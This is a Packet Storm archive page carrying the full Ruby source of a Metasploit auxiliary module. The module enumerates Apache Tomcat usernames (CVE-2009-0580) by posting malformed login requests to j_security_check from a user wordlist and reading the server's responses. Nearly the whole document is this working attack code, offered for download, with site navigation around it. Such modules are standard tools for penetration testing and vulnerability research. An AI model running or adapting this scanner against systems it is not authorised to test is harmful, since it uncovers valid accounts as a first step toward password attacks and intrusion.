what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apache Tomcat User Enumeration

Apache Tomcat User Enumeration
Posted Sep 1, 2024
Authored by Leandro Oliveira, Heyder Andrade | Site metasploit.com

This Metasploit module enumerates Apache Tomcats usernames via malformed requests to j_security_check, which can be found in the web administration package. It should work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18. Newer versions no longer have the "admin" package by default. The admin package is no longer provided for Tomcat 6 and later versions.

tags | exploit, web
advisories | CVE-2009-0580
SHA-256 | ddc9c4c9f598773b8e0921e7125f71bd3f5c7f1793c0f1c17a1adfd1577b0e43

Apache Tomcat User Enumeration

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute

def initialize
super(
'Name' => 'Apache Tomcat User Enumeration',
'Description' => %q{
This module enumerates Apache Tomcat's usernames via malformed requests to
j_security_check, which can be found in the web administration package. It should
work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18.
Newer versions no longer have the "admin" package by default. The 'admin' package
is no longer provided for Tomcat 6 and later versions.
},
'Author' =>
[
'Heyder Andrade <heyder.andrade[at]gmail.com>',
'Leandro Oliveira <leandrofernando[at]gmail.com>'
],
'References' =>
[
['BID', '35196'],
['CVE', '2009-0580'],
['OSVDB', '55055'],
],
'License' => MSF_LICENSE
)

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The path of the Apache Tomcat Administration page', '/admin/j_security_check']),
OptPath.new('USER_FILE', [ true, "File containing users, one per line",
File.join(Msf::Config.data_directory, "wordlists", "tomcat_mgr_default_users.txt") ]),
])

deregister_options('PASS_FILE','USERPASS_FILE','USER_AS_PASS','STOP_ON_SUCCESS','BLANK_PASSWORDS')
end

def has_j_security_check?
vprint_status("#{full_uri} - Checking j_security_check...")
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
if res
vprint_status("#{full_uri} - Server returned: #{res.code.to_s}")
return true if res.code == 200 or res.code == 302
end

false
end

def run_host(ip)
unless has_j_security_check?
print_error("#{full_uri} - Unable to enumerate users with this URI")
return
end

@users_found = {}

each_user_pass { |user,pass|
do_login(user)
}

if(@users_found.empty?)
print_status("#{full_uri} - No users found.")
else
print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}")
report_note(
:host => rhost,
:port => rport,
:type => 'tomcat.users',
:data => {:users => @users_found.keys.join(", ")}
)
end
end

def do_login(user)
post_data = "j_username=#{user}&password=%"
vprint_status("#{full_uri} - Apache Tomcat - Trying name: '#{user}'")
begin
res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => post_data,
}, 20)

if res and res.code == 200 and !res.get_cookies.empty?
vprint_error("#{full_uri} - Apache Tomcat #{user} not found ")
elsif res and res.code == 200 and res.body =~ /invalid username/i
vprint_error("#{full_uri} - Apache Tomcat #{user} not found ")
elsif res and res.code == 500
# Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
vprint_good("#{full_uri} - Apache Tomcat #{user} found ")
@users_found[user] = :reported
elsif res and res.body.empty? and res.headers['Location'] !~ /error\.jsp$/
# Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
print_good("#{full_uri} - Apache Tomcat #{user} found ")
@users_found[user] = :reported
else
print_error("#{full_uri} - NOT VULNERABLE")
return :abort
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error("#{full_uri} - UNREACHABLE")
return :abort
end
end
end

=begin

If your Tomcat doesn't have the admin package by default, download it here:
http://archive.apache.org/dist/tomcat/

The package name should look something like: apache-tomcat-[version]-admin.zip

=end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close